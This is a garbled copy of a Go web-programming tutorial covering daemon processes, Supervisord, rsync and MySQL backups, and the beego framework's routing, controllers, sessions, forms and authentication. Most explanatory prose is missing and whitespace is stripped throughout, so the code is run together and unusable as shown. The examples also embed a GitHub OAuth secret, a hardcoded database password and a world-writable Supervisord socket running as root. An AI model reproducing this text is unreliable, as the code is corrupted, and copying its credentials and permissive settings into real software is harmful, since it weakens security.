funcNotFound404(whttp.ResponseWriter,r*http.Request){log.Error("" )//t,_=t.ParseFiles("tmpl/404.html",nil)//
ErrorInfo:="" //t.Execute(w,ErrorInfo)//merger}
funcSystemError(whttp.ResponseWriter,r*http.Request){log.Critical("" )//
t,_=t.ParseFiles("tmpl/error.html",nil)//
ErrorInfo:="" //t.Execute(w,ErrorInfo)//merger}
try..catchGopanicnet.ConnWritepanic
panicx[j]jpanicpanicgoroutinepanicGopanicuidUserusernameuidrecoverrecover
funcGetUser(uidint)(usernamestring){
deferfunc(){ifx:=recover();x!=nil{username=""}}()
username=User[uid]return}
packagepanicpanicrecoverpackage
WebGo
links
::
12.3WebGoCdaemonGodaemonGoSupervisordupstartdaemontoolsSupervisord
daemon
GodaemonGobug: `http://code.google.com/p/go/issues/detail?id=227`fork
daemon2
MarGoCommand
d:=flag.Bool("d",false,"Whetherornottolaunchinthebackground(likeadaemon)")if*d{cmd:=exec.Command(os.Args[0],"-close-fds","-addr",*addr,"-call",*call,)serr,err:=cmd.StderrPipe()iferr!=nil{log.Fatalln(err)}err=cmd.Start()iferr!=nil{log.Fatalln(err)}s,err:=ioutil.ReadAll(serr)s=bytes.TrimSpace(s)ifbytes.HasPrefix(s,[]byte("addr:")){fmt.Println(string(s))cmd.Process.Release()}else{log.Printf("unexpectedresponsefromMarGo:`%s`error:`%v`\n",s,err)cmd.Process.Kill()}}
syscall
packagemain
import("log""os""syscall")
funcdaemon(nochdir,nocloseint)int{varret,ret2uintptrvarerruintptr
darwin:=syscall.OS=="darwin"
//alreadyadaemonifsyscall.Getppid()==1{return0}
//forkofftheparentprocessret,ret2,err=syscall.RawSyscall(syscall.SYS_FORK,0,0,0)iferr!=0{return-1}
//failureifret2<0{os.Exit(-1)}
//handleexceptionfordarwinifdarwin&&ret2==1{ret=0}
//ifwegotagoodPID,thenwecallexittheparentprocess.ifret>0{os.Exit(0)}
/*Changethefilemodemask*/_=syscall.Umask(0)
//createanewSIDforthechildprocesss_ret,s_errno:=syscall.Setsid()ifs_errno!=0{log.Printf("Error:syscall.Setsiderrno:%d",s_errno)}ifs_ret<0{return-1}
ifnochdir==0{os.Chdir("/")}
ifnoclose==0{f,e:=os.OpenFile("/dev/null",os.O_RDWR,0)ife==nil{fd:=f.Fd()syscall.Dup2(fd,os.Stdin.Fd())syscall.Dup2(fd,os.Stdout.Fd())syscall.Dup2(fd,os.Stderr.Fd())}}
return0}
Godaemondaemonskynetdaemon
Supervisord
Godaemonsupervisorddaemon
SupervisordSupervisordOSSupervisord100000Supervisord10241024OS
Supervisord
Supervisordsudoeasy_installsupervisorSupervisordsetup.pyinstall
easy_installsetuptools
http://pypi.python.org/pypi/setuptools#filespythonshsetuptoolsxxxx.eggeasy_installSupervisord
Supervisord
Supervisord/etc/supervisord.conf
;/etc/supervisord.conf[unix_http_server]file=/var/run/supervisord.sockchmod=0777chown=root:root
[inet_http_server]#Webport=9001username=adminpassword=yourpassword
[supervisorctl]; 'unix_http_server'serverurl=unix:///var/run/supervisord.sock
[supervisord]logfile=/var/log/supervisord/supervisord.log;(mainlogfile;default$CWD/supervisord.log)logfile_maxbytes=50MB;(maxmainlogfilebytesb4rotation;default50MB)logfile_backups=10;(numofmainlogfilerotationbackups;default10)loglevel=info;(loglevel;defaultinfo;others:debug,warn,trace)pidfile=/var/run/supervisord.pid;(supervisordpidfile;defaultsupervisord.pid)nodaemon=true;(startinforegroundiftrue;defaultfalse)minfds=1024;(min.availstartupfiledescriptors;default1024)minprocs=200;(min.availprocessdescriptors;default200)user=root;(defaultiscurrentuser,requiredifroot)childlogdir=/var/log/supervisord/;('AUTO'childlogdir,default$TEMP)
[rpcinterface:supervisor]supervisor.rpcinterface_factory=supervisor.rpcinterface:make_main
_rpcinterface
;program[program:blogdemon]command=/data/blog/blogdemonautostart=truestartsecs=5user=rootredirect_stderr=truestdout_logfile=/var/log/supervisord/blogdemon.log
Supervisord
Supervisordsupervisorsupervisorctl2
supervisordSupervisordsupervisorctlstopprogramxxx(programxxx)programxxx[program:blogdemon]blogdemonsupervisorctlstartprogramxxxsupervisorctlrestartprogramxxxsupervisorctlstopallstartrestartstopsupervisorctlreload
GodaemonGodaemondaemonpythonSupervisordSupervisordGo
links
::
12.4OSMysqlredis/
Web
rsyncrsyncwindowswindowscwrsync
rsync
rsync http://rsync.samba.org/rsyncLinux
#sudoapt-getinstallrsyncdebianubuntu#yuminstallrsyncFedoraRedhatCentOS#rpm-ivhrsyncFedoraRedhatCentOSrpm
Linux
tarxvfrsync-xxx.tar.gzcdrsync-xxx./configure--prefix=/usr;make;makeinstallgcc
rsync
rsync3rsyncd.conf()rsyncd.secrets()rsyncd.motd(rsync)
rsync
#/usr/bin/rsync--daemon--config=/etc/rsyncd.conf
--daemonrsyncrsync
echo'rsync--daemon'>>/etc/rc.d/rc.local
rsync
echo':' >/etc/rsyncd.secretschmod600/etc/rsyncd.secrets
[email protected]::www/var/rsync/backup
i. -avzP--helpii. --deleteABiii. --password-file/etc/rsyncd.secrets/etc/rsyncd.secrets
croniv. ""/etc/rsyncd.secretsv. 192.168.145.5IP
vi. ::wwwwww/etc/rsyncd.conf[www]/etc/rsyncd.conf[www]
crontabrsync
MySQL
MySQLMySQLmaster/slave(master/slave)master/slave
shellrsync
mysqlmysqldump
#!/bin/bash
#mysql_user="USER"#MySQLmysql_password="PASSWORD"#MySQLmysql_host="localhost"mysql_port="3306"mysql_charset="utf8"#MySQLbackup_db_arr=("db1""db2")#("db1""db2""db3")
backup_location=/var/www/mysql#"/"
expire_backup_delete="ON"#ONOFFexpire_days=3#3expire_backup_delete
#backup_time=`date+%Y%m%d%H%M`#backup_Ymd=`date+%Y-%m-%d`#backup_3ago=`date-d'3daysago'+%Y-%m-%d`#3backup_dir=$backup_location/$backup_Ymd#welcome_msg="WelcometouseMySQLbackuptools!"#
#MYSQLmysqlmysql_ps=`ps-ef|grepmysql|wc-l`mysql_listen=`netstat-an|grepLISTEN|grep$mysql_port|wc-l`if[[$mysql_ps==0]-o[$mysql_listen==0]];then
echo"ERROR:MySQLisnotrunning!backupstop!"exitelseecho$welcome_msgfi
#mysqlmysql-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password<<endusemysql;selecthost,userfromuserwhereuser='root'andhost='localhost';exitend
flag=`echo$?`if[$flag!="0"];thenecho"ERROR:Can'tconnectmysqlserver!backupstop!"exitelseecho"MySQLconnectok!Pleasewait......"#
if["$backup_db_arr"!=""];then#dbnames=$(cut-d','-f1-5$backup_database)#echo"arris(${backup_db_arr[@]})"fordbnamein${backup_db_arr[@]}doecho"database$dbnamebackupstart..."`mkdir-p$backup_dir``mysqldump-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password$dbname--default-character-set=$mysql_charset|gzip>$backup_dir/$dbname-$backup_time.sql.gz`flag=`echo$?`if[$flag=="0"];thenecho"database$dbnamesuccessbackupto$backup_dir/$dbname-$backup_time.sql.gz"elseecho"database$dbnamebackupfail!"
fi
doneelseecho"ERROR:Nodatabasetobackup!backupstop"exitfi
#if["$expire_backup_delete"=="ON"-a"$backup_location"!=""];then#`find$backup_location/-typed-o-typef-ctime+$expire_days-execrm-rf{}\;``find$backup_location/-typed-mtime+$expire_days|xargsrm-rf`echo"Expiredbackupdatadeletecomplete!"fiecho"Alldatabasebackupsuccess!Thankyou!"exitfi
shell
chmod600/root/mysql_backup.shchmod+x/root/mysql_backup.sh
crontab00:00/var/www/mysqlrsync
0000***/root/mysql_backup.sh
MySQL
MySQLslave
SQL
mysql-uusername-pdatabse<backup.sql
redis
redisNoSQLredismaster/slaveredisrsync
redis
redisMySQL
redisredisredisOKredis
rsyncMySQLredis
links
::
12.5Web
404()
links
: 12:
13.1
gopath
gopathGOPATHGOPATHwindowlinux/MacOSexportgopath=/home/astaxie/gopathgopathpkgbinsrcsrcbeeblogwindow
ModelViewGoRSS""GotemplateViewControllerHTTP
:
13.3
1. main.go2. HTTPURLmethod()3.4. HTTP5.6. Web
|——main.go|——conf|——controllers|——models|——utils
|——static|——views
REST
GOPATHMVC
links
::
13.2
HTTP
HTTPHTTP(struct)
(path)(:/user/123,/article/123)(?id=11)HTTP(method)(GETPOSTPUTDELETEPATCH)
()
3.4GohttpGohttp
funcfooHandler(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))}
http.Handle("/foo",fooHandler)
http.HandleFunc("/bar",func(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))})
log.Fatal(http.ListenAndServe(":8080",nil))
httpDefaultServeMuxURL(r.URL.Path)
Go http.Handlehttp.HandleFuncDefaultServeMux.Handle(patternstring,handlerHandler)mapmap[string]muxEntity`
GotcpHandlernil http.DefaultServeMuxDefaultServeMux.ServeHTTPmapURL
fork,v:=rangemux.m{if!pathMatch(k,path){continue}ifh==nil||len(k)>n{n=len(k)h=v.h}}
beego
WebhttpGo
/user/:uidREST/fooGETPOSTDELETEHEADAPI30struct
beegoRESTGo
23RESTstructstructmethod
controllerInfo(structreflect.Type)ControllerRegistor(routersslice)
typecontrollerInfostruct{regex*regexp.Regexpparamsmap[int]stringcontrollerTypereflect.Type}
typeControllerRegistorstruct{routers[]*controllerInfoApplication*App}
ControllerRegistor
func(p*ControllerRegistor)Add(patternstring,cControllerInterface)
func(p*ControllerRegistor)Add(patternstring,cControllerInterface){parts:=strings.Split(pattern,"/")
j:=0params:=make(map[int]string)fori,part:=rangeparts{ifstrings.HasPrefix(part,":"){expr:="([^/]+)"
//ausermaychoosetooverridethedefultexpression//similartoexpressjs:‘/user/:id([0-9]+)’
ifindex:=strings.Index(part,"(");index!=-1{expr=part[index:]part=part[:index]}params[j]=partparts[i]=exprj++}}
//recreatetheurlpattern,withparametersreplaced//byregularexpressions.thencompiletheregex
pattern=strings.Join(parts,"/")regex,regexErr:=regexp.Compile(pattern)ifregexErr!=nil{
//TODOadderrorhandlingheretoavoidpanicpanic(regexErr)return}
//nowcreatetheRoutet:=reflect.Indirect(reflect.ValueOf(c)).Type()route:=&controllerInfo{}route.regex=regexroute.params=paramsroute.controllerType=t
p.routers=append(p.routers,route)
}
GohttpFileServerbeegoStaticDirStaticDirmap
func(app*App)SetStaticPath(urlstring,pathstring)*App{StaticDir[url]=pathreturnapp}
beego.SetStaticPath("/img","/static/img")
ControllerRegistor
//AutoRoutefunc(p*ControllerRegistor)ServeHTTP(whttp.ResponseWriter,r*http.Request){deferfunc(){iferr:=recover();err!=nil{if!RecoverPanic{//gobacktopanicpanic(err)}else{Critical("Handlercrashedwitherror",err)fori:=1;;i+=1{_,file,line,ok:=runtime.Caller(i)if!ok{break}Critical(file,line)}}
}}()varstartedboolforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)started=truereturn}}requestPath:=r.URL.Path
//findamatchingRoutefor_,route:=rangep.routers{
//checkifRoutepatternmatchesurlif!route.regex.MatchString(requestPath){continue}
//getsubmatches(params)matches:=route.regex.FindStringSubmatch(requestPath)
//doublecheckthattheRoutematchestheURLpattern.iflen(matches[0])!=len(requestPath){continue}
params:=make(map[string]string)iflen(route.params)>0{//addurlparameterstothequeryparammapvalues:=r.URL.Query()fori,match:=rangematches[1:]{values.Add(route.params[i],match)params[route.params[i]]=match}
//reassemblequeryparamsandaddtoRawQueryr.URL.RawQuery=url.Values(values).Encode()+"&"+r.URL.RawQuery//r.URL.RawQuery=url.Values(values).Encode()}//Invoketherequesthandlervc:=reflect.New(route.controllerType)init:=vc.MethodByName("Init")
in:=make([]reflect.Value,2)ct:=&Context{ResponseWriter:w,Request:r,Params:params}in[0]=reflect.ValueOf(ct)in[1]=reflect.ValueOf(route.controllerType.Name())init.Call(in)in=make([]reflect.Value,0)method:=vc.MethodByName("Prepare")method.Call(in)ifr.Method=="GET"{method=vc.MethodByName("Get")method.Call(in)}elseifr.Method=="POST"{method=vc.MethodByName("Post")method.Call(in)}elseifr.Method=="HEAD"{method=vc.MethodByName("Head")method.Call(in)}elseifr.Method=="DELETE"{method=vc.MethodByName("Delete")method.Call(in)}elseifr.Method=="PUT"{method=vc.MethodByName("Put")method.Call(in)}elseifr.Method=="PATCH"{method=vc.MethodByName("Patch")method.Call(in)}elseifr.Method=="OPTIONS"{method=vc.MethodByName("Options")method.Call(in)}ifAutoRender{method=vc.MethodByName("Render")method.Call(in)}method=vc.MethodByName("Finish")method.Call(in)started=truebreak}
//ifnomatchestourl,throwanotfoundexceptionifstarted==false{http.NotFound(w,r)}}
beego.BeeApp.RegisterController("/",&controllers.MainController{})
beego.BeeApp.RegisterController("/:param",&controllers.UserController{})
beego.BeeApp.RegisterController("/users/:uid([0-9]+)",&controllers.UserController{})
links
:: controller
13.3controllerMVCActionwebRESTFilterrewriteURLRESTURLRESTMVCRESTMVCcontrollerWeb"Hello,world"
controller
MVCWebModelViewController(UI)ModelViewHTMLControllerWebURLURLcontrollerMVCModelView302ModelViewController
beego REST
structstructRESTcontrollerstructinterface
typeControllerstruct{Ct*ContextTpl*template.TemplateDatamap[interface{}]interface{}ChildNamestringTplNamesstringLayout[]stringTplExtstring}
typeControllerInterfaceinterface{Init(ct*Context,cnstring)//Prepare()//Get()//method=GETPost()//method=POSTDelete()//method=DELETEPut()//method=PUTHead()//method=HEADPatch()//method=PATCHOptions()//method=OPTIONSFinish()//Render()error//method}
addControllerInterfaceContoroller
func(c*Controller)Init(ct*Context,cnstring){
c.Data=make(map[interface{}]interface{})c.Layout=make([]string,0)c.TplNames=""c.ChildName=cnc.Ct=ctc.TplExt="tpl"}
func(c*Controller)Prepare(){
}
func(c*Controller)Finish(){
}
func(c*Controller)Get(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Post(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Delete(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Put(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Head(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Patch(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Options(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Render()error{iflen(c.Layout)>0{
varfilenames[]stringfor_,file:=rangec.Layout{filenames=append(filenames,path.Join(ViewsPath,file))}t,err:=template.ParseFiles(filenames...)iferr!=nil{Trace("templateParseFileserr:",err)}err=t.ExecuteTemplate(c.Ct.ResponseWriter,c.TplNames,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}else{ifc.TplNames==""{c.TplNames=c.ChildName+"/"+c.Ct.Request.Method+"."+c.TplExt}t,err:=template.ParseFiles(path.Join(ViewsPath,c.TplNames))iferr!=nil{Trace("templateParseFileserr:",err)}err=t.Execute(c.Ct.ResponseWriter,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}returnnil}
func(c*Controller)Redirect(urlstring,codeint){c.Ct.Redirect(code,url)}
controllerurlcontroller
Init()Prepare()method()methodGETPOSTPUTHEAD403Render()AutoRender
Finish()
beegocontroller
packagecontrollers
import("github.com/astaxie/beego")
typeMainControllerstruct{beego.Controller}
func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.TplNames="index.tpl"}
MainControllerGet(POST/HEAD)403GetAutoRender=trueGetRender
index.tpl
<!DOCTYPEhtml><html><head>
<title>beegowelcometemplate</title></head><body><h1>Hello,world!{{.Username}},{{.Email}}</h1></body></html>
links
::
13.4
seeloglevellevellevel
beego
beegoseeloglevelbeegolog.Loggeros.Stdoutbeego.SetLoggr
//Loglevelstocontroltheloggingoutput.const(LevelTrace=iotaLevelDebugLevelInfoLevelWarningLevelErrorLevelCritical
)
//logLevelcontrolsthegloballoglevelusedbythelogger.varlevel=LevelTrace
//LogLevelreturnsthegloballoglevelandcanbeusedin//ownimplementationsoftheloggerinterface.funcLevel()int{returnlevel}
//SetLogLevelsetsthegloballoglevelusedbythesimple//logger.funcSetLevel(lint){level=l}
TraceSetLevel
//loggerreferencestheusedapplicationlogger.varBeeLogger=log.New(os.Stdout,"",log.Ldate|log.Ltime)
//SetLoggersetsanewlogger.funcSetLogger(l*log.Logger){BeeLogger=l}
//Tracelogsamessageattracelevel.funcTrace(v...interface{}){iflevel<=LevelTrace{BeeLogger.Printf("[T]%v\n",v)}}
//Debuglogsamessageatdebuglevel.funcDebug(v...interface{}){iflevel<=LevelDebug{BeeLogger.Printf("[D]%v\n",v)}}
//Infologsamessageatinfolevel.funcInfo(v...interface{}){iflevel<=LevelInfo{
BeeLogger.Printf("[I]%v\n",v)}}
//Warninglogsamessageatwarninglevel.funcWarn(v...interface{}){iflevel<=LevelWarning{BeeLogger.Printf("[W]%v\n",v)}}
//Errorlogsamessageaterrorlevel.funcError(v...interface{}){iflevel<=LevelError{BeeLogger.Printf("[E]%v\n",v)}}
//Criticallogsamessageatcriticallevel.funcCritical(v...interface{}){iflevel<=LevelCritical{BeeLogger.Printf("[C]%v\n",v)}}
BeeLoggeros.Stdoutbeego.SetLoggerlogger
Trace"Enteredparsefunctionvalidationblock""Validation:enteredsecond'if'""Dictionary'Dict'isempty.Usingdefaultvalue"
Debug"Webpagerequested:http://somesite.comParams='...'""Responsegenerated.Responsesize:10000.Sending.""Newfilereceived.Type:PNGSize:20000"
Info"Webserverrestarted""Hourlystatistics:Requestedpages:12345Errors:123...""Servicepaused.Waitingfor'resume'call"
Warn"Cachecorruptedforfile='test.file'.Readingfromback-end""Database192.168.0.7/DBnotresponding.Usingbackup192.168.0.8/DB""Noresponsefromstatisticsserver.Statisticsnotsent"
Error"Internalerror.Cannotprocessrequest#12345Error:....""Cannotperformlogin:credentialsDBnotresponding"
Critical"Criticalpanicreceived:....Shuttingdown""Fatalerror:...Appisshuttingdowntopreventdatacorruptionorloss"
levellevel=LevelWarningTraceDebugInfo
beego
beegokey=valueinimapstringint
ini
var(bComment=[]byte{'#'}bEmpty=[]byte{}bEqual=[]byte{'='}bDQuote=[]byte{'"'})
//AConfigrepresentstheconfiguration.typeConfigstruct{filenamestringcommentmap[int][]string//id:[]{comment,key...};id1isformaincomment.
datamap[string]string//key:valueoffsetmap[string]int64//key:offset;forediting.sync.RWMutex}
key=value
//ParseFilecreatesanewConfigandparsesthefileconfigurationfromthe//namedfile.funcLoadConfig(namestring)(*Config,error){file,err:=os.Open(name)iferr!=nil{returnnil,err}
cfg:=&Config{file.Name(),make(map[int][]string),make(map[string]string),make(map[string]int64),sync.RWMutex{},}cfg.Lock()defercfg.Unlock()deferfile.Close()
varcommentbytes.Bufferbuf:=bufio.NewReader(file)
fornComment,off:=0,int64(1);;{line,_,err:=buf.ReadLine()iferr==io.EOF{break}ifbytes.Equal(line,bEmpty){continue}
off+=int64(len(line))
ifbytes.HasPrefix(line,bComment){line=bytes.TrimLeft(line,"#")line=bytes.TrimLeftFunc(line,unicode.IsSpace)
comment.Write(line)comment.WriteByte('\n')continue}ifcomment.Len()!=0{cfg.comment[nComment]=[]string{comment.String()}comment.Reset()nComment++}
val:=bytes.SplitN(line,bEqual,2)ifbytes.HasPrefix(val[1],bDQuote){val[1]=bytes.Trim(val[1],`"`)}
key:=strings.TrimSpace(string(val[0]))cfg.comment[nComment-1]=append(cfg.comment[nComment-1],key)cfg.data[key]=strings.TrimSpace(string(val[1]))cfg.offset[key]=off}returncfg,nil}
boolintfloat64string
//Boolreturnsthebooleanvalueforagivenkey.func(c*Config)Bool(keystring)(bool,error){returnstrconv.ParseBool(c.data[key])}
//Intreturnstheintegervalueforagivenkey.func(c*Config)Int(keystring)(int,error){returnstrconv.Atoi(c.data[key])}
//Floatreturnsthefloatvalueforagivenkey.func(c*Config)Float(keystring)(float64,error){returnstrconv.ParseFloat(c.data[key],64)}
//Stringreturnsthestringvalueforagivenkey.func(c*Config)String(keystring)string{returnc.data[key]
}
urljson
funcGetJson(){resp,err:=http.Get(beego.AppConfig.String("url"))iferr!=nil{beego.Critical("httpgetinfoerror")return}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)err=json.Unmarshal(body,&AllInfo)iferr!=nil{beego.Critical("error:",err)}}
beego.Critical beego.AppConfig.String("url")(app.conf)
appname=hsurl="http://www.api.com/api.html"
links
: controller: //
13.5 / /
beegobeego
/main.go/views:/view.tpl/new.tpl/layout.tpl/index.tpl/edit.tpl/models/model.go/controllers:/index.go/view.go/new.go/delete.go/edit.go
//beego.Router("/",&controllers.IndexController{})//beego.Router("/view/:id([0-9]+)",&controllers.ViewController{})//beego.Router("/new",&controllers.NewController{})//beego.Router("/delete/:id([0-9]+)",&controllers.DeleteController{})//beego.Router("/edit/:id([0-9]+)",&controllers.EditController{})
CREATETABLEentries(idINTAUTO_INCREMENT,titleTEXT,contentTEXT,createdDATETIME,primarykey(id));
IndexController:
typeIndexControllerstruct{beego.Controller}
func(this*IndexController)Get(){this.Data["blogs"]=models.GetAll()this.Layout="layout.tpl"this.TplNames="index.tpl"}
ViewController:
typeViewControllerstruct{beego.Controller}
func(this*ViewController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="view.tpl"
}
NewController
typeNewControllerstruct{beego.Controller}
func(this*NewController)Get(){this.Layout="layout.tpl"this.TplNames="new.tpl"}
func(this*NewController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Title=inputs.Get("title")blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}
EditController
typeEditControllerstruct{beego.Controller}
func(this*EditController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="edit.tpl"}
func(this*EditController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Id,_=strconv.Atoi(inputs.Get("id"))blog.Title=inputs.Get("title")
blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}
DeleteController
typeDeleteControllerstruct{beego.Controller}
func(this*DeleteController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])blog:=models.GetBlog(id)this.Data["Post"]=blogmodels.DelBlog(blog)this.Ctx.Redirect(302,"/")}
model
packagemodels
import("database/sql""github.com/astaxie/beedb"_"github.com/ziutek/mymysql/godrv""time")
typeBlogstruct{Idint`PK`TitlestringContentstringCreatedtime.Time}
funcGetLink()beedb.Model{db,err:=sql.Open("mymysql","blog/astaxie/123456")
iferr!=nil{panic(err)}orm:=beedb.New(db)returnorm}
funcGetAll()(blogs[]Blog){db:=GetLink()db.FindAll(&blogs)return}
funcGetBlog(idint)(blogBlog){db:=GetLink()db.Where("id=?",id).Find(&blog)return}
funcSaveBlog(blogBlog)(bgBlog){db:=GetLink()db.Save(&blog)returnbg}
funcDelBlog(blogBlog){db:=GetLink()db.Delete(&blog)return}
view
layout.tpl
<html><head><title>MyBlog</title><style>#menu{width:200px;float:right;
}</style></head><body>
<ulid="menu"><li><ahref="/">Home</a></li><li><ahref="/new">NewPost</a></li></ul>
{{.LayoutContent}}
</body></html>
index.tpl
<h1>Blogposts</h1>
<ul>{{range.blogs}}<li><ahref="/view/{{.Id}}">{{.Title}}</a>from{{.Created}}<ahref="/edit/{{.Id}}">Edit</a><ahref="/delete/{{.Id}}">Delete</a></li>{{end}}</ul>
view.tpl
<h1>{{.Post.Title}}</h1>{{.Post.Created}}<br/>
{{.Post.Content}}
new.tpl
<h1>NewBlogPost</h1><formaction=""method="post">: <inputtype="text"name="title"><br>
<textareaname="content"colspan="3"rowspan="10"></textarea><inputtype="submit"></form>
edit.tpl
<h1>Edit{{.Post.Title}}</h1>
<h1>NewBlogPost</h1><formaction=""method="post">: <inputtype="text"name="title"value="{{.Post.Title}}"><br>
<textareaname="content"colspan="3"rowspan="10">{{.Post.Content}}</textarea><inputtype="hidden"name="id"value="{{.Post.Id}}"><inputtype="submit"></form>
links
::
13.6GoGohttpMVCControllercontrollerRESTtornadelayoutGobeegogithubbeego
links
: //: Web
14Web13WebMVCWebWeb1twitterbootstrapsession3model4httpbascihttpdigest5i18n
beegoWeb13beego
links
: 13:
14.1beegotwitterhtmlcssbootstrap
beego
Gonet/http ServeFileFileServerbeego
//staticfileserverforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)w.started=truereturn}}
StaticDirurlURLurlhttp.ServeFile
beego.StaticDir["/asset"]="/static"
urlhttp://www.beego.me/asset/bootstrap.css /static/bootstrap.css
bootstrap
BootstrapTwitterBootstrapWebCSSHTMLHTML5Web
BootstrapWeb
Javascript Bootstrap13jQueryBootstrap""
BootstrapCSS
14.1bootstrap
bootstrapbeego
1. bootstrapstatic
14.2
2. beegoStaticDirstatic
StaticDir["/static"]="static"
3. OK
//css<linkhref="/static/css/bootstrap.css"rel="stylesheet">
//js<scriptsrc="/static/js/bootstrap-transition.js"></script>
//<imgsrc="/static/img/logo.png">
bootstrapbeego
14.3bootstrap
bootstrapbootstrap
links
: Web: Session
14.2Session6GosessionsessionMangerbeegosessionManager
session
beegosession
//relatedtosessionSessionOnbool//sessionSessionProviderstring//sessionsessionManagermemory
SessionNamestring//cookiesSessionGCMaxLifetimeint64//cookies
GlobalSessions*session.Manager//session
ifar,err:=AppConfig.Bool("sessionon");err!=nil{SessionOn=false}else{SessionOn=ar}ifar:=AppConfig.String("sessionprovider");ar==""{SessionProvider="memory"}else{SessionProvider=ar}ifar:=AppConfig.String("sessionname");ar==""{SessionName="beegosessionID"}else{SessionName=ar}ifar,err:=AppConfig.Int("sessiongcmaxlifetime");err!=nil&&ar!=0{int64val,_:=strconv.ParseInt(strconv.Itoa(ar),10,64)SessionGCMaxLifetime=int64val
}else{SessionGCMaxLifetime=3600}
beego.Run
ifSessionOn{GlobalSessions,_=session.NewManager(SessionProvider,SessionName,SessionGCMaxLifetime)goGlobalSessions.GC()}
SessionOntruesessiongoroutinesession
Controllersession beego.Controller
func(c*Controller)StartSession()(sesssession.Session){sess=GlobalSessions.SessionStart(c.Ctx.ResponseWriter,c.Ctx.Request)return}
session
beegosession
mainsession
beego.SessionOn=true
session
func(this*MainController)Get(){varintcountint
sess:=this.StartSession()count:=sess.Get("count")ifcount==nil{intcount=0}else{intcount=count.(int)}intcount=intcount+1sess.Set("count",intcount)this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.Data["Count"]=intcountthis.TplNames="index.tpl"}
session
1. session
//PHPsession_start()sess:=this.StartSession()
2. sessionsession
//sessionPHP $_SESSION["count"}sess.Get("count")
//sessionsess.Set("count",intcount)
beegosessionPHP session_start()
links
:
:
14.3Web
HTML
Gostructbeegoformstruct
Webstructformstructtag
typeUserstruct{Usernamestring`form:text,valid:required`Nicknamestring`form:text,valid:required`Ageint`form:text,valid:required|numeric`Emailstring`form:text,valid:required|valid_email`Introducestring`form:textarea`}
structcontroller
func(this*AddController)Get(){this.Data["form"]=beego.Form(&User{})this.Layout="admin/layout.html"this.TplNames="admin/add.tpl"}
<h1>NewBlogPost</h1><formaction=""method="post">{{.form.render()}}</form>
1struct
func(this*AddController)Post(){varuserUserform:=this.GetInput(&user)if!form.Validates(){return}models.UserInsert(&user)this.Ctx.Redirect(302,"/admin/index")}
form
text No textbox
button No
checkbox No
dropdown No
file No
hidden No hidden
password No
radio No
textarea No
required No FALSE
matches Yes FALSE matches[form_item]
is_unique Yes
Falseis_unique[User.Email]UserEmailfalseCallback
is_unique[table.field]
min_length Yes FALSE min_length[6]
max_length Yes FALSE max_length[12]
exact_length Yes FALSE exact_length[8]
greater_than Yes FALSE greater_than[8]
less_than Yes FALSE less_than[8]
alpha No FALSE
alpha_numeric No FALSE
alpha_dash No ///FALSE
numeric No FALSE
integer No FALSE
decimal Yes FALSE
is_natural No 0FALSE0,1,2,3....
is_natural_no_zero No 0FALSE01,2,3.....
valid_email No emailFALSE
valid_emails No emailFALSE
valid_ip No IPFALSE
valid_base64 No base64FALSE
links
: Session:
14.4Web
HTTPBasicHTTPDigestQQweibodoubianOPENIDgooglegithubfacebooktwittersessioncookie
beegobeego
HTTPBasic HTTPDigest
github.com/abbot/go-http-auth
beego
packagecontrollers
import("github.com/abbot/go-http-auth""github.com/astaxie/beego")
funcSecret(user,realmstring)string{ifuser=="john"{//passwordis"hello"return"$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1"}return""}
typeMainControllerstruct{beego.Controller}
func(this*MainController)Prepare(){a:=auth.NewBasicAuthenticator("example.com",Secret)ifusername:=a.CheckAuth(this.Ctx.Request);username==""{a.RequireAuth(this.Ctx.ResponseWriter,this.Ctx.Request)}}
func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.TplNames="index.tpl"}
beegopreparehttpauthdigest
oauth oauth2
oauthoauth2QQweibo
github.com/bradrydzewski/go.auth
beegooauthgithub
1. 2
beego.RegisterController("/auth/login",&controllers.GithubController{})beego.RegisterController("/mainpage",&controllers.PageController{})
2. GithubController
packagecontrollers
import("github.com/astaxie/beego"
"github.com/bradrydzewski/go.auth")
const(githubClientKey="a0864ea791ce7e7bd0df"githubSecretKey="a0ec09a647a688a64a28f6190b5a0d2705df56ca")
typeGithubControllerstruct{beego.Controller}
